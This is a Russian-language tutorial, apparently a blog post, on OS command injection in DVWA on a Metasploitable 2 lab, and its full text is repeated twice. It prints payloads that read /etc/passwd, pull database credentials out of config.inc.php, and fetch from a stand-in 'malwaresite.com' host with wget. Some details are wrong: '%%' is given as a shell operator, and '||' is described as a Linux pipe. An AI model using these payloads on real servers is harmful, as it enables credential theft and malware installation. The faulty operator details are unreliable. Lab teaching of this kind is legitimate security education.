Добро пожаловать обратно, мои начинающие кибервоины!
В этом руководстве по взлому веб-приложений мы рассмотрим внедрение команд операционной системы. Эта уязвимость веб-сайта позволяет злоумышленнику внедрять и выполнять команды операционной системы на базовом сервере, что зачастую приводит к полной компрометации сервера и всех его данных. Внедрив команды операционной системы на сервер, злоумышленник может скомпрометировать другие элементы сети организации.
Обычно это происходит, когда приложение предоставляет пользователю определённые функции, связанные с системными командами. Если приложение не обеспечивает надлежащую очистку входных данных, злоумышленник может отправлять операционной системе вредоносные команды, которые могут включать открытие командной оболочки или загрузку вредоносного ПО.
Давайте воспользуемся приложением DVWA на Metasploitable 2 для демонстрации этой атаки.
Шаг №1 : Запустите Kali
Давайте сначала запустим Kali и откроем терминал.
Шаг №2: Metasploitable с DVWA
Затем запустите систему Metasploitable 2. Откройте браузер в Kali и перейдите по IP-адресу системы Metasploitable или DVWA, например, http://192.168.0.157/dvwa (ваш IP-адрес, вероятно, будет другим). Откроется экран входа в DVWA. Учётные данные: «admin» и «password».
Затем перейдите на вкладку «Безопасность DVWA» в левом нижнем углу и нажмите кнопку . Откроется страница «Безопасность DVWA». Установите уровень безопасности на «Низкий».
Теперь нажмите на вкладку «Выполнение команды» в левом верхнем углу экрана. Вы увидите экран, аналогичный показанному ниже.
Обратите внимание, что это приложение позволяет отправлять пинг. Введите IP-адрес и нажмите «Отправить». Вы увидите ответ, выделенный красным цветом.
Очевидно, что это приложение берет ваш IP-адрес, добавляет его к команде ping и отправляет запрос ICMP Echo с сервера.
Поскольку это окно позволяет выполнить одну команду операционной системы, в нём может быть возможно выполнение нескольких команд. В большинстве операционных систем команды можно завершать точкой с запятой. Если добавить точку с запятой после IP-адреса, можно добавить ещё одну команду и выполнить обе.
Давайте попробуем команду Linux whoami.
192.168.0.1; whoami
Как мы можем видеть выше, команда ping была выполнена, а затем был выполнен whoami , показав, что пользователь — «www-data».
Поскольку у нас нет прав root, мы не можем получить файл /etc/shadow, но можем получить файл /etc/passwd. Можно добавить команду cat /etc/passwd после IP-адреса, и если она выполнится, мы сможем получить этот файл, содержащий все имена пользователей и учётные записи.
Успех! Хотя у нас нет паролей к учётным записям, у нас есть все учётные записи в системе.
Шаг №3: Операторы команд
Таким образом, мы можем объединять команды с другими операторами, а также с точкой с запятой. Вот несколько примеров:
Точка с запятой — наиболее распространённый метасимвол, используемый для проверки уязвимости инъекции. Оболочка выполнит все команды последовательно, разделённые точкой с запятой.
& Разделяет несколько команд в одной командной строке. Сначала выполняется первая команда, затем вторая.
&& Выполняет следующую команду && только в том случае, если предыдущая команда выполнена успешно.
|| (windows) Выполняет следующую команду || только в случае сбоя предыдущей команды. Выполняет первую команду, а затем вторую, только если первая команда не была выполнена успешно.
|| (Linux) Перенаправляет стандартный вывод первой команды на стандартный ввод второй команды
Следующий разделитель команд работает только в системах на базе Unix:
Перевод строки (0x0a или n)
Шаг №4: Выполнение команды с другими операторами
Давайте посмотрим, можем ли мы внедрить другие команды, используя другие операторы. Например, мы могли бы использовать двойной амперсанд (&&) для запуска команды ping , а затем команды netstat . Если первая команда выполнена успешно, то будет выполнена и вторая. Если первая команда не будет выполнена, вторая команда не выполнится.
192.168.0.1 && netstat
Отлично! Двойной амперсанд (&&) работает в этой системе. Не все операторы будут работать во всех системах, поэтому попробуйте другие операторы и посмотрите, какие из них работают.
Шаг №5: Слепое внедрение команд ОС
В приведённых выше примерах результаты выполнения команд были возвращены нам в виде HTTP-ответа и видны в нашем браузере. Возможно, результаты вашей команды не генерируют HTTP-ответ и не отображаются в вашем браузере. В современных системах это встречается чаще, чем нет. Мы всё ещё можем попытаться внедрить команду ОС, не видя результатов в браузере. Это называется слепой инъекцией команд ОС.
Например, в нашем последнем примере внедрения команды ОС мы запустили netstat , и результаты были отображены в браузере. Если результаты не отображались в браузере, мы можем перенаправить вывод в файл и затем отобразить его. Например, мы можем ввести:
192.168.0.1 && netstat > netstat.txt
Это направит вывод команды netstat в файл netstat.txt и сохранит его в текущем каталоге на сервере. Мы можем отобразить это содержимое, указав браузеру этот каталог и файл, например:
192.168.0.157/dvwa/vulnerabilities/exec/netstat.txt
Возможно, более интересным было бы получить имя пользователя и пароль к базе данных. Поскольку стек LAMP включает базу данных MySQL, PHP должен иметь учётные данные для подключения к ней. Они хранятся на этом сервере по адресу /var/www/dvwa/config/config.inc.php . Если мы сможем прочитать этот файл, мы, возможно, сможем получить имя пользователя и пароль к базе данных.
Давайте объединим команду с IP-адресом, как указано выше, но на этот раз давайте получим файл конфигурации и перенаправим его в файл dbconfig следующим образом:
192.168.0.157; cat /var/www/dvwa/config/config.inc.php > dbconfig
Теперь мы можем просмотреть этот файл с помощью нашего браузера, перейдя по ссылке:
192.168.0.157/dvwa/vulnerabilities/exec/dbconfig
Как видите выше, нам удалось найти и отобразить учётные данные базы данных. Теперь мы потенциально можем войти в их базу данных и получить все её содержимое!
Кроме того, мы можем использовать внеполосный метод, чтобы определить, была ли выполнена команда, поскольку мы не видим никаких результатов в браузере. Например, мы могли бы завершить строку команд командой nslookup сайта и проверить, был ли выполнен поиск на сервере имён. Это позволит убедиться, что все команды были выполнены.
Наконец, можно перенаправить сервер на сайт, содержащий вредоносное программное обеспечение, такое как:
192.168.0.1 %% wget https://malwaresite.com
Если бы эта команда была успешно выполнена, ее можно было бы использовать для перенаправления сервера на https://malwaresite.com , где он загрузил бы вредоносное ПО в операционную систему, тем самым поставив под угрозу сервер и, возможно, всю сеть.
Краткое содержание
Внедрение команд операционной системы (ОС) — это эксплойт веб-сайтов, позволяющий выполнять команды на своих сайтах без надлежащей очистки. Надлежащая очистка включает в себя внесение в чёрный список любого из перечисленных выше операторов и, возможно, даже в белый список разрешённых команд.
В этом руководстве по взлому веб-приложений мы рассмотрим внедрение команд операционной системы. Эта уязвимость веб-сайта позволяет злоумышленнику внедрять и выполнять команды операционной системы на базовом сервере, что зачастую приводит к полной компрометации сервера и всех его данных. Внедрив команды операционной системы на сервер, злоумышленник может скомпрометировать другие элементы сети организации.
Обычно это происходит, когда приложение предоставляет пользователю определённые функции, связанные с системными командами. Если приложение не обеспечивает надлежащую очистку входных данных, злоумышленник может отправлять операционной системе вредоносные команды, которые могут включать открытие командной оболочки или загрузку вредоносного ПО.
Давайте воспользуемся приложением DVWA на Metasploitable 2 для демонстрации этой атаки.
Шаг №1 : Запустите Kali
Давайте сначала запустим Kali и откроем терминал.
Шаг №2: Metasploitable с DVWA
Затем запустите систему Metasploitable 2. Откройте браузер в Kali и перейдите по IP-адресу системы Metasploitable или DVWA, например, http://192.168.0.157/dvwa (ваш IP-адрес, вероятно, будет другим). Откроется экран входа в DVWA. Учётные данные: «admin» и «password».
Затем перейдите на вкладку «Безопасность DVWA» в левом нижнем углу и нажмите кнопку . Откроется страница «Безопасность DVWA». Установите уровень безопасности на «Низкий».
Теперь нажмите на вкладку «Выполнение команды» в левом верхнем углу экрана. Вы увидите экран, аналогичный показанному ниже.
Обратите внимание, что это приложение позволяет отправлять пинг. Введите IP-адрес и нажмите «Отправить». Вы увидите ответ, выделенный красным цветом.
Очевидно, что это приложение берет ваш IP-адрес, добавляет его к команде ping и отправляет запрос ICMP Echo с сервера.
Поскольку это окно позволяет выполнить одну команду операционной системы, в нём может быть возможно выполнение нескольких команд. В большинстве операционных систем команды можно завершать точкой с запятой. Если добавить точку с запятой после IP-адреса, можно добавить ещё одну команду и выполнить обе.
Давайте попробуем команду Linux whoami.
192.168.0.1; whoami
Как мы можем видеть выше, команда ping была выполнена, а затем был выполнен whoami , показав, что пользователь — «www-data».
Поскольку у нас нет прав root, мы не можем получить файл /etc/shadow, но можем получить файл /etc/passwd. Можно добавить команду cat /etc/passwd после IP-адреса, и если она выполнится, мы сможем получить этот файл, содержащий все имена пользователей и учётные записи.
Успех! Хотя у нас нет паролей к учётным записям, у нас есть все учётные записи в системе.
Шаг №3: Операторы команд
Таким образом, мы можем объединять команды с другими операторами, а также с точкой с запятой. Вот несколько примеров:
Точка с запятой — наиболее распространённый метасимвол, используемый для проверки уязвимости инъекции. Оболочка выполнит все команды последовательно, разделённые точкой с запятой.
& Разделяет несколько команд в одной командной строке. Сначала выполняется первая команда, затем вторая.
&& Выполняет следующую команду && только в том случае, если предыдущая команда выполнена успешно.
|| (windows) Выполняет следующую команду || только в случае сбоя предыдущей команды. Выполняет первую команду, а затем вторую, только если первая команда не была выполнена успешно.
|| (Linux) Перенаправляет стандартный вывод первой команды на стандартный ввод второй команды
Следующий разделитель команд работает только в системах на базе Unix:
Перевод строки (0x0a или n)
Шаг №4: Выполнение команды с другими операторами
Давайте посмотрим, можем ли мы внедрить другие команды, используя другие операторы. Например, мы могли бы использовать двойной амперсанд (&&) для запуска команды ping , а затем команды netstat . Если первая команда выполнена успешно, то будет выполнена и вторая. Если первая команда не будет выполнена, вторая команда не выполнится.
192.168.0.1 && netstat
Отлично! Двойной амперсанд (&&) работает в этой системе. Не все операторы будут работать во всех системах, поэтому попробуйте другие операторы и посмотрите, какие из них работают.
Шаг №5: Слепое внедрение команд ОС
В приведённых выше примерах результаты выполнения команд были возвращены нам в виде HTTP-ответа и видны в нашем браузере. Возможно, результаты вашей команды не генерируют HTTP-ответ и не отображаются в вашем браузере. В современных системах это встречается чаще, чем нет. Мы всё ещё можем попытаться внедрить команду ОС, не видя результатов в браузере. Это называется слепой инъекцией команд ОС.
Например, в нашем последнем примере внедрения команды ОС мы запустили netstat , и результаты были отображены в браузере. Если результаты не отображались в браузере, мы можем перенаправить вывод в файл и затем отобразить его. Например, мы можем ввести:
192.168.0.1 && netstat > netstat.txt
Это направит вывод команды netstat в файл netstat.txt и сохранит его в текущем каталоге на сервере. Мы можем отобразить это содержимое, указав браузеру этот каталог и файл, например:
192.168.0.157/dvwa/vulnerabilities/exec/netstat.txt
Возможно, более интересным было бы получить имя пользователя и пароль к базе данных. Поскольку стек LAMP включает базу данных MySQL, PHP должен иметь учётные данные для подключения к ней. Они хранятся на этом сервере по адресу /var/www/dvwa/config/config.inc.php . Если мы сможем прочитать этот файл, мы, возможно, сможем получить имя пользователя и пароль к базе данных.
Давайте объединим команду с IP-адресом, как указано выше, но на этот раз давайте получим файл конфигурации и перенаправим его в файл dbconfig следующим образом:
192.168.0.157; cat /var/www/dvwa/config/config.inc.php > dbconfig
Теперь мы можем просмотреть этот файл с помощью нашего браузера, перейдя по ссылке:
192.168.0.157/dvwa/vulnerabilities/exec/dbconfig
Как видите выше, нам удалось найти и отобразить учётные данные базы данных. Теперь мы потенциально можем войти в их базу данных и получить все её содержимое!
Кроме того, мы можем использовать внеполосный метод, чтобы определить, была ли выполнена команда, поскольку мы не видим никаких результатов в браузере. Например, мы могли бы завершить строку команд командой nslookup сайта и проверить, был ли выполнен поиск на сервере имён. Это позволит убедиться, что все команды были выполнены.
Наконец, можно перенаправить сервер на сайт, содержащий вредоносное программное обеспечение, такое как:
192.168.0.1 %% wget https://malwaresite.com
Если бы эта команда была успешно выполнена, ее можно было бы использовать для перенаправления сервера на https://malwaresite.com , где он загрузил бы вредоносное ПО в операционную систему, тем самым поставив под угрозу сервер и, возможно, всю сеть.
Краткое содержание
Внедрение команд операционной системы (ОС) — это эксплойт веб-сайтов, позволяющий выполнять команды на своих сайтах без надлежащей очистки. Надлежащая очистка включает в себя внесение в чёрный список любого из перечисленных выше операторов и, возможно, даже в белый список разрешённых команд.